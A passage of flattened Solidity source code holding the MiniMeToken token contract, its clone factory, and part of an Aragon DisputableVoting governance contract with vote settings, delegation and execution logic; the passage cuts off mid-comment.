0x0 or the token contract itself require((_to != 0) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false var previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } // Alerts the token controller of the transfer if (isContract(controller)) { // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).onTransfer(_from, _to, _amount) == true); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain Transfer(_from, _to, _amount); return true; } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); // Alerts the token controller of the approve function call if (isContract(controller)) { // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).onApprove(msg.sender, _spender, _amount) == true); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(ApproveAndCallFallBack _spender, uint256 _amount, bytes _extraData) public returns (bool success) { require(approve(_spender, _amount)); _spender.receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public constant returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(MiniMeToken) { uint256 snapshot = _snapshotBlock == 0 ? block.number - 1 : _snapshotBlock; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, snapshot, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); // An event to make the token easy to find on the blockchain NewCloneToken(address(cloneToken), snapshot); return cloneToken; } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) onlyController public { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { require(_value <= uint128(-1)); if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () external payable { require(isContract(controller)); // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).proxyPayment.value(msg.value)(msg.sender) == true); } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) onlyController public { if (_token == 0x0) { controller.transfer(this.balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { event NewFactoryCloneToken(address indexed _cloneToken, address indexed _parentToken, uint _snapshotBlock); /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the controller of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( MiniMeToken _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); NewFactoryCloneToken(address(newToken), address(_parentToken), _snapshotBlock); return newToken; } } // File: contracts/DisputableVoting.sol /* * SPDX-License-Identifier: GPL-3.0-or-later */ pragma solidity 0.4.24; contract DisputableVoting is IForwarderWithContext, DisputableAragonApp { using SafeMath for uint256; using SafeMath64 for uint64; // bytes32 public constant CREATE_VOTES_ROLE = keccak256("CREATE_VOTES_ROLE"); bytes32 public constant CREATE_VOTES_ROLE = 0xe7dcd7275292e064d090fbc5f3bd7995be23b502c1fed5cd94cfddbbdcd32bbc; // bytes32 public constant CHANGE_VOTE_TIME_ROLE = keccak256("CHANGE_VOTE_TIME_ROLE"); bytes32 public constant CHANGE_VOTE_TIME_ROLE = 0xbc5d8ebc0830a2fed8649987b8263de1397b7fa892f3b87dc2d8cad35c691f86; // bytes32 public constant CHANGE_SUPPORT_ROLE = keccak256("CHANGE_SUPPORT_ROLE"); bytes32 public constant CHANGE_SUPPORT_ROLE = 0xf3a5f71f3cb50dae9454dd13cdf0fd1b559f7e20d63c08902592486e6d460c90; // bytes32 public constant CHANGE_QUORUM_ROLE = keccak256("CHANGE_QUORUM_ROLE"); bytes32 public constant CHANGE_QUORUM_ROLE = 0xa3f675280fb3c54662067f92659ca1ee3ef7c1a7f2a6ff03a5c4228aa26b6a82; // bytes32 public constant CHANGE_DELEGATED_VOTING_PERIOD_ROLE = keccak256("CHANGE_DELEGATED_VOTING_PERIOD_ROLE"); bytes32 public constant CHANGE_DELEGATED_VOTING_PERIOD_ROLE = 0x59ba415d96e104e6483d76b79d9cd09941d04e229adcd62d7dc672c93975a19d; // bytes32 public constant CHANGE_EXECUTION_DELAY_ROLE = keccak256("CHANGE_EXECUTION_DELAY_ROLE"); bytes32 public constant CHANGE_EXECUTION_DELAY_ROLE = 0x5e3a3edc315e366a0cc5c94ca94a8f9bbc2f1feebb2ef7704bfefcff0cdc4ee7; // bytes32 public constant CHANGE_QUIET_ENDING_ROLE = keccak256("CHANGE_QUIET_ENDING_ROLE"); bytes32 public constant CHANGE_QUIET_ENDING_ROLE = 0x4f885d966bcd49734218a6e280d58c840b86e8cc13610b21ebd46f0b1da362c2; uint256 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10^16; 100% = 10^18 uint256 public constant MAX_VOTES_DELEGATION_SET_LENGTH = 70; // Validation errors string private constant ERROR_NO_VOTE = "VOTING_NO_VOTE"; string private constant ERROR_VOTE_TIME_ZERO = "VOTING_VOTE_TIME_ZERO"; string private constant ERROR_TOKEN_NOT_CONTRACT = "VOTING_TOKEN_NOT_CONTRACT"; string private constant ERROR_SETTING_DOES_NOT_EXIST = "VOTING_SETTING_DOES_NOT_EXIST"; string private constant ERROR_CHANGE_QUORUM_TOO_BIG = "VOTING_CHANGE_QUORUM_TOO_BIG"; string private constant ERROR_CHANGE_SUPPORT_TOO_SMALL = "VOTING_CHANGE_SUPPORT_TOO_SMALL"; string private constant ERROR_CHANGE_SUPPORT_TOO_BIG = "VOTING_CHANGE_SUPPORT_TOO_BIG"; string private constant ERROR_INVALID_DELEGATED_VOTING_PERIOD = "VOTING_INVALID_DLGT_VOTE_PERIOD"; string private constant ERROR_INVALID_QUIET_ENDING_PERIOD = "VOTING_INVALID_QUIET_END_PERIOD"; string private constant ERROR_INVALID_EXECUTION_SCRIPT = "VOTING_INVALID_EXECUTION_SCRIPT"; // Workflow errors string private constant ERROR_CANNOT_FORWARD = "VOTING_CANNOT_FORWARD"; string private constant ERROR_NO_TOTAL_VOTING_POWER = "VOTING_NO_TOTAL_VOTING_POWER"; string private constant ERROR_CANNOT_VOTE = "VOTING_CANNOT_VOTE"; string private constant ERROR_NOT_REPRESENTATIVE = "VOTING_NOT_REPRESENTATIVE"; string private constant ERROR_PAST_REPRESENTATIVE_VOTING_WINDOW = "VOTING_PAST_REP_VOTING_WINDOW"; string private constant ERROR_DELEGATES_EXCEEDS_MAX_LEN = "VOTING_DELEGATES_EXCEEDS_MAX_LEN"; string private constant ERROR_CANNOT_PAUSE_VOTE = "VOTING_CANNOT_PAUSE_VOTE"; string private constant ERROR_VOTE_NOT_PAUSED = "VOTING_VOTE_NOT_PAUSED"; string private constant ERROR_CANNOT_EXECUTE = "VOTING_CANNOT_EXECUTE"; enum VoterState { Absent, Yea, Nay } enum VoteStatus { Normal, // A vote in a "normal" state of operation (not one of the below)--note that this state is not related to the vote being open Paused, // A vote that is paused due to it having an open challenge or dispute Cancelled, // A vote that has been explicitly cancelled due to a challenge or dispute Executed // A vote that has been executed } struct Setting { // "Base" duration of each vote -- vote lifespans may be adjusted by pause and extension durations uint64 voteTime; // Required voter support % (yes power / voted power) for a vote to pass // Expressed as a percentage of 10^18; eg. 10^16 = 1%, 10^18 = 100% uint64 supportRequiredPct; // Required voter quorum % (yes power / total power) for a vote to pass // Expressed as a percentage of 10^18; eg. 10^16 = 1%, 10^18 = 100% // Must be <= supportRequiredPct to avoid votes being impossible to pass uint64 minAcceptQuorumPct; // Duration from the start of a vote that representatives are allowed to vote on behalf of principals // Must be <= voteTime; duration is bound as [) uint64 delegatedVotingPeriod; // Duration before the end of a vote to detect non-quiet endings // Must be <= voteTime; duration is bound as [) uint64 quietEndingPeriod; // Duration to extend a vote in case of non-quiet ending uint64 quietEndingExtension; // Duration to wait before a passed vote can be executed // Duration is bound as [) uint64 executionDelay; } struct VoteCast { VoterState state; address caster; // Caster of the vote (only stored if caster was not the representative) } struct Vote { uint256 yea; // Voting power for uint256 nay; // Voting power against uint256 totalPower; // Total voting power (based on the snapshot block) uint64 startDate; // Datetime when the vote was created uint64 snapshotBlock; // Block number used to check voting power on attached token VoteStatus status; // Status of the vote uint256 settingId; // Identification number of the setting applicable to the vote uint256 actionId; // Identification number of the associated disputable action on the attached Agreement uint64 pausedAt; // Datetime when the vote was paused uint64 pauseDuration; // Duration of the pause (only updated once resumed) uint64 quietEndingExtensionDuration; // Duration a vote was extended due to non-quiet endings VoterState quietEndingSnapshotSupport; // Snapshot of the vote's support at the beginning of the first quiet ending period bytes32 executionScriptHash; // Hash of the EVM script attached to the vote mapping (address => VoteCast) castVotes; // Mapping of voter address => more information about their cast vote } MiniMeToken public token; // Token for determining voting power; we assume it's not malicious uint256 public settingsLength; // Number of settings created mapping (uint256 => Setting) internal settings; // List of settings indexed by ID (starting at 0) uint256 public votesLength; // Number of votes created mapping (uint256 => Vote) internal votes; // List of votes indexed by ID (starting at 0) mapping (address => address) internal representatives; // Mapping of voter => allowed representative event NewSetting(uint256 settingId); event ChangeVoteTime(uint64 voteTime); event ChangeSupportRequired(uint64 supportRequiredPct); event ChangeMinQuorum(uint64 minAcceptQuorumPct); event ChangeDelegatedVotingPeriod(uint64 delegatedVotingPeriod); event ChangeQuietEndingConfiguration(uint64 quietEndingPeriod, uint64 quietEndingExtension); event ChangeExecutionDelay(uint64 executionDelay); event StartVote(uint256 indexed voteId, address indexed creator, bytes context, bytes executionScript); event PauseVote(uint256 indexed voteId, uint256 indexed challengeId); event ResumeVote(uint256 indexed voteId); event CancelVote(uint256 indexed voteId); event ExecuteVote(uint256 indexed voteId); event QuietEndingExtendVote(uint256 indexed voteId, bool passing); event CastVote(uint256 indexed voteId, address indexed voter, bool supports, address caster); event ChangeRepresentative(address indexed voter, address indexed representative); event ProxyVoteFailure(uint256 indexed voteId, address indexed voter, address indexed representative); /** * @notice Initialize Disputable Voting with `_token.symbol(): string` for governance, a voting duration of `@transformTime(_voteTime)`, minimum support of `@formatPct(_supportRequiredPct)`%, minimum acceptance quorum of `@formatPct(_minAcceptQuorumPct)`%, a delegated voting period of `@transformTime(_delegatedVotingPeriod), and a execution delay of `@transformTime(_executionDelay)` * @param _token MiniMeToken Address that will be used as governance token * @param _voteTime Base duration a vote will be open for voting * @param _supportRequiredPct Required support % (yes power / voted power) for a vote to pass; expressed as a percentage of 10^18 * @param _minAcceptQuorumPct Required quorum % (yes power / total power) for a vote to pass; expressed as a percentage of 10^18 * @param _delegatedVotingPeriod Duration from the start of a vote that representatives are allowed to vote on behalf of principals * @param _quietEndingPeriod Duration to detect non-quiet endings * @param _quietEndingExtension Duration to extend a vote in case of non-quiet ending * @param _executionDelay Duration to wait before a passed vote can be executed */ function initialize( MiniMeToken _token, uint64 _voteTime, uint64 _supportRequiredPct, uint64 _minAcceptQuorumPct, uint64 _delegatedVotingPeriod, uint64 _quietEndingPeriod, uint64 _quietEndingExtension, uint64 _executionDelay ) external { initialized(); require(isContract(_token), ERROR_TOKEN_NOT_CONTRACT); token = _token; (Setting storage setting, ) = _newSetting(); _changeVoteTime(setting, _voteTime); _changeSupportRequiredPct(setting, _supportRequiredPct); _changeMinAcceptQuorumPct(setting, _minAcceptQuorumPct); _changeDelegatedVotingPeriod(setting, _delegatedVotingPeriod); _changeQuietEndingConfiguration(setting, _quietEndingPeriod, _quietEndingExtension); _changeExecutionDelay(setting, _executionDelay); } /** * @notice Change vote time to `@transformTime(_voteTime)` * @param _voteTime New vote time */ function changeVoteTime(uint64 _voteTime) external authP(CHANGE_VOTE_TIME_ROLE, arr(uint256(_voteTime))) { Setting storage setting = _newCopiedSettings(); _changeVoteTime(setting, _voteTime); } /** * @notice Change required support to `@formatPct(_supportRequiredPct)`% * @param _supportRequiredPct New required support; expressed as a percentage of 10^18 */ function changeSupportRequiredPct(uint64 _supportRequiredPct) external authP(CHANGE_SUPPORT_ROLE, arr(uint256(_supportRequiredPct))) { Setting storage setting = _newCopiedSettings(); _changeSupportRequiredPct(setting, _supportRequiredPct); } /** * @notice Change minimum acceptance quorum to `@formatPct(_minAcceptQuorumPct)`% * @param _minAcceptQuorumPct New minimum acceptance quorum; expressed as a percentage of 10^18 */ function changeMinAcceptQuorumPct(uint64 _minAcceptQuorumPct) external authP(CHANGE_QUORUM_ROLE, arr(uint256(_minAcceptQuorumPct))) { Setting storage setting = _newCopiedSettings(); _changeMinAcceptQuorumPct(setting, _minAcceptQuorumPct); } /** * @notice Change delegated voting period to `@transformTime(_delegatedVotingPeriod)` * @param _delegatedVotingPeriod New delegated voting period */ function changeDelegatedVotingPeriod(uint64 _delegatedVotingPeriod) external authP(CHANGE_DELEGATED_VOTING_PERIOD_ROLE, arr(uint256(_delegatedVotingPeriod))) { Setting storage setting = _newCopiedSettings(); _changeDelegatedVotingPeriod(setting, _delegatedVotingPeriod); } /** * @notice Change quiet ending period to `@transformTime(_quietEndingPeriod)` with extensions of `@transformTime(_quietEndingExtension)` * @param _quietEndingPeriod New quiet ending period * @param _quietEndingExtension New quiet ending extension */ function changeQuietEndingConfiguration(uint64 _quietEndingPeriod, uint64 _quietEndingExtension) external authP(CHANGE_QUIET_ENDING_ROLE, arr(uint256(_quietEndingPeriod), uint256(_quietEndingExtension))) { Setting storage setting = _newCopiedSettings(); _changeQuietEndingConfiguration(setting, _quietEndingPeriod, _quietEndingExtension); } /** * @notice Change execution delay to `@transformTime(_executionDelay)` * @param _executionDelay New execution delay */ function changeExecutionDelay(uint64 _executionDelay) external authP(CHANGE_EXECUTION_DELAY_ROLE, arr(uint256(_executionDelay))) { Setting storage setting = _newCopiedSettings(); _changeExecutionDelay(setting, _executionDelay); } /** * @notice Create a new vote about "`_context`" * @param _executionScript Action (encoded as an EVM script) that will be allowed to execute if the vote passes * @param _context Additional context for the vote, also used as the disputable action's context on the attached Agreement * @return Identification number of the newly created vote */ function newVote(bytes _executionScript, bytes _context) external auth(CREATE_VOTES_ROLE) returns (uint256) { return _newVote(_executionScript, _context); } /** * @notice Vote `_supports ? 'yes' : 'no'` in vote #`_voteId` * @dev Initialization check is implicitly provided by `_getVote()` as new votes can only be * created via `newVote()`, which requires initialization * @param _voteId Identification number of the vote * @param _supports Whether voter supports the vote */ function vote(uint256 _voteId, bool _supports) external { Vote storage vote_ = _getVote(_voteId); require(_canVote(vote_, msg.sender), ERROR_CANNOT_VOTE); _castVote(vote_, _voteId, _supports, msg.sender, address(0)); } /** * @notice Vote `_supports ? 'yes' : 'no'` in vote #`_voteId` on behalf of delegated voters * @dev Initialization check is implicitly provided by `_getVote()` as new votes can only be * created via `newVote()`, which requires initialization * @param _voteId Identification number of the vote * @param _supports Whether the representative supports the vote * @param _voters Addresses of the delegated voters to vote on behalf of */ function voteOnBehalfOf(uint256 _voteId, bool _supports, address[] _voters) external { require(_voters.length <= MAX_VOTES_DELEGATION_SET_LENGTH, ERROR_DELEGATES_EXCEEDS_MAX_LEN); Vote storage vote_ = _getVote(_voteId); // Note that the period for representatives to vote can never go into a quiet ending // extension, and so we don't need to check other timing-based pre-conditions require(_canRepresentativesVote(vote_), ERROR_PAST_REPRESENTATIVE_VOTING_WINDOW); for (uint256 i = 0; i < _voters.length; i++) { address voter = _voters[i]; require(_hasVotingPower(vote_, voter), ERROR_CANNOT_VOTE); require(_isRepresentativeOf(voter, msg.sender), ERROR_NOT_REPRESENTATIVE); if (!_hasCastVote(vote_, voter)) { _castVote(vote_, _voteId, _supports, voter, msg.sender); } else { emit ProxyVoteFailure(_voteId, voter, msg.sender); } } } /** * @notice Execute vote #`_voteId` * @dev Initialization check is implicitly provided by `_getVote()` as new votes can only be * created via `newVote()`, which requires initialization * @param _voteId Identification number of the vote * @param _executionScript Action (encoded as an EVM script) to be executed, must match the one used when the vote was created */ function executeVote(uint256 _voteId, bytes _executionScript) external { Vote storage vote_ = _getVote(_voteId); require(_canExecute(vote_), ERROR_CANNOT_EXECUTE); require(vote_.executionScriptHash == keccak256(_executionScript), ERROR_INVALID_EXECUTION_SCRIPT); vote_.status = VoteStatus.Executed; _closeDisputableAction(vote_.actionId); // Add attached Agreement to blacklist to disallow the stored EVMScript from directly calling // the Agreement from this app's context (e.g. maliciously closing a different action) address[] memory blacklist = new address[](1); blacklist[0] = address(_getAgreement()); runScript(_executionScript, new bytes(0), blacklist); emit ExecuteVote(_voteId); } /** * @notice `_representative == 0x0 ? 'Set your voting representative to ' + _representative : 'Remove your representative'` * @param _representative Address of the representative who is allowed to vote on behalf of the sender. Use the zero address for none. */ function setRepresentative(address _representative) external isInitialized { representatives[msg.sender] = _representative; emit ChangeRepresentative(msg.sender, _representative); } // Forwarding external fns /** * @notice Create a vote to execute the desired action * @dev IForwarderWithContext interface conformance. * This app (as a DisputableAragonApp) is required to be the initial step in the forwarding chain. * @param _evmScript Action (encoded as an EVM script) that will be allowed to execute if the vote passes * @param _context Additional context for the vote, also used as the disputable action's context on the attached Agreement */ function forward(bytes _evmScript, bytes _context) external { require(_canForward(msg.sender, _evmScript), ERROR_CANNOT_FORWARD); _newVote(_evmScript, _context); } // Forwarding getter fns /** * @dev Tell if an address can forward actions (by creating a vote) * IForwarderWithContext interface conformance * @param _sender Address intending to forward an action * @param _evmScript EVM script being forwarded * @return True if the address is allowed create a vote containing the action */ function canForward(address _sender, bytes _evmScript) external view returns (bool) { return _canForward(_sender, _evmScript); } // Disputable getter fns /** * @dev Tell if a vote can be challenged * Called by the attached Agreement when a challenge is requested for the associated vote * @param _voteId Identification number of the vote being queried * @return True if the vote can be challenged */ function canChallenge(uint256 _voteId) external view returns (bool) { Vote storage vote_ = _getVote(_voteId); // Votes can only be challenged once return vote_.pausedAt == 0 && _isVoteOpenForVoting(vote_, settings[vote_.settingId]); } /** * @dev Tell if a vote can be closed * Called by the attached Agreement when the action associated with the vote is requested to be manually closed * @param _voteId Identification number of the vote being queried * @return True if the vote can be closed */ function canClose(uint256 _voteId) external view returns (bool) { Vote storage vote_ = _getVote(_voteId); return (_isNormal(vote_) || _isExecuted(vote_)) && _hasEnded(vote_, settings[vote_.settingId]); } // Getter fns /** * @dev Tell the information for a setting * Initialization check is implicitly provided by `_getSetting()` as new settings can only be * created via `change*()` functions which require initialization * @param _settingId Identification number of the setting * @return voteTime Base vote duration * @return supportRequiredPct Required support % (yes power / voted power) for a vote to pass; expressed as a percentage of 10^18 * @return minAcceptQuorumPct Required quorum % (yes power / total power) for a vote to pass; expressed as a percentage of 10^18 * @return delegatedVotingPeriod Duration of the delegated voting period * @return quietEndingPeriod Duration to detect non-quiet endings * @return quietEndingExtension Duration to extend a vote in case of non-quiet ending * @return executionDelay Duration to wait before a passed vote can be executed */ function getSetting(uint256 _settingId) external view returns ( uint64 voteTime, uint64 supportRequiredPct, uint64 minAcceptQuorumPct, uint64 delegatedVotingPeriod, uint64 quietEndingPeriod, uint64 quietEndingExtension, uint64 executionDelay ) { Setting storage setting = _getSetting(_settingId); voteTime = setting.voteTime; supportRequiredPct = setting.supportRequiredPct; minAcceptQuorumPct = setting.minAcceptQuorumPct; delegatedVotingPeriod = setting.delegatedVotingPeriod; quietEndingPeriod = setting.quietEndingPeriod; quietEndingExtension = setting.quietEndingExtension; executionDelay = setting.executionDelay; } /** * @dev Tell the information for a vote * Initialization check is implicitly provided by `_getVote()` as new votes can only be * created via `newVote()`, which requires initialization * @param _voteId Identification number of the vote * @return yea Voting power for * @return nay Voting power against * @return totalPower Total voting power available (based on the snapshot block) * @return startDate Datetime when the vote was created * @return snapshotBlock Block number used to check voting power on attached token * @return status Status of the vote * @return settingId Identification number of the setting applicable to the vote * @return actionId Identification number of the associated disputable action on the attached Agreement * @return pausedAt Datetime when the vote was paused * @return pauseDuration Duration of the pause (only updated once resumed) * @return quietEndingExtensionDuration Duration a vote was extended due to non-quiet endings * @return quietEndingSnapshotSupport Snapshot of the vote's support at the beginning of the first quiet ending period * @return executionScriptHash Hash of the EVM script attached to the vote */ function getVote(uint256 _voteId) external view returns ( uint256 yea, uint256 nay, uint256 totalPower, uint64 startDate, uint64 snapshotBlock, VoteStatus status, uint256 settingId, uint256 actionId, uint64 pausedAt, uint64 pauseDuration, uint64 quietEndingExtensionDuration, VoterState quietEndingSnapshotSupport, bytes32 executionScriptHash ) { Vote storage vote_ = _getVote(_voteId); yea = vote_.yea; nay = vote_.nay; totalPower = vote_.totalPower; startDate = vote_.startDate; snapshotBlock = vote_.snapshotBlock; status = vote_.status; settingId = vote_.settingId; actionId = vote_.actionId; pausedAt = vote_.pausedAt; pauseDuration = vote_.pauseDuration; quietEndingExtensionDuration = vote_.quietEndingExtensionDuration; quietEndingSnapshotSupport = vote_.quietEndingSnapshotSupport; executionScriptHash = vote_.executionScriptHash; } /** * @dev Tell the state of a voter for a vote * Initialization check is implicitly provided by `_getVote()` as new votes can only be * created via `newVote()`, which requires initialization * @param _voteId Identification number of the vote * @param _voter Address of the voter being queried * @return state Voter's cast state being queried * @return caster Address of the vote's caster */ function getCastVote(uint256 _voteId, address _voter) external view returns (VoterState state, address caster) { Vote storage vote_ = _getVote(_voteId); state = _voterState(vote_, _voter); caster = _voteCaster(vote_, _voter); } /** * @dev Tell if a voter can participate in a vote * Initialization check is implicitly provided by `_getVote()` as new votes can only be * created via `newVote()`, which requires initialization * @param _voteId Identification number of the vote being queried * @param _voter Address of the voter being queried * @return True if the voter can participate in the vote */ function canVote(uint256 _voteId, address _voter) external view returns (bool) { return _canVote(_getVote(_voteId), _voter); } /** * @dev Tell if a representative can vote on behalf of delegated voters in a vote * Initialization check is implicitly provided by `_getVote()` as new votes can only be * created via `newVote()`, which requires initialization * @param _voteId Identification number of the vote being queried * @param _voters Addresses of the delegated voters being queried * @param _representative Address of the representative being queried * @return True if the representative can vote on behalf of the delegated voters in the vote */ function canVoteOnBehalfOf(uint256 _voteId, address[] _voters, address _representative) external view returns (bool) { require(_voters.length <= MAX_VOTES_DELEGATION_SET_LENGTH, ERROR_DELEGATES_EXCEEDS_MAX_LEN); Vote storage vote_ = _getVote(_voteId); if (!_canRepresentativesVote(vote_)) { return false; } for (uint256 i = 0; i < _voters.length; i++) { address voter = _voters[i]; if (!_hasVotingPower(vote_, voter) || !_isRepresentativeOf(voter, _representative) || _hasCastVote(vote_, voter)) { return false; } } return true; } /** * @dev Tell if a vote can be executed * Initialization check is implicitly provided by `_getVote()` as new votes can only be * created via `newVote()`, which requires initialization * @param _voteId Identification number of the vote being queried * @return True if the vote can be executed */ function canExecute(uint256 _voteId) external view returns (bool) { return _canExecute(_getVote(_voteId)); } /** * @dev Tell if 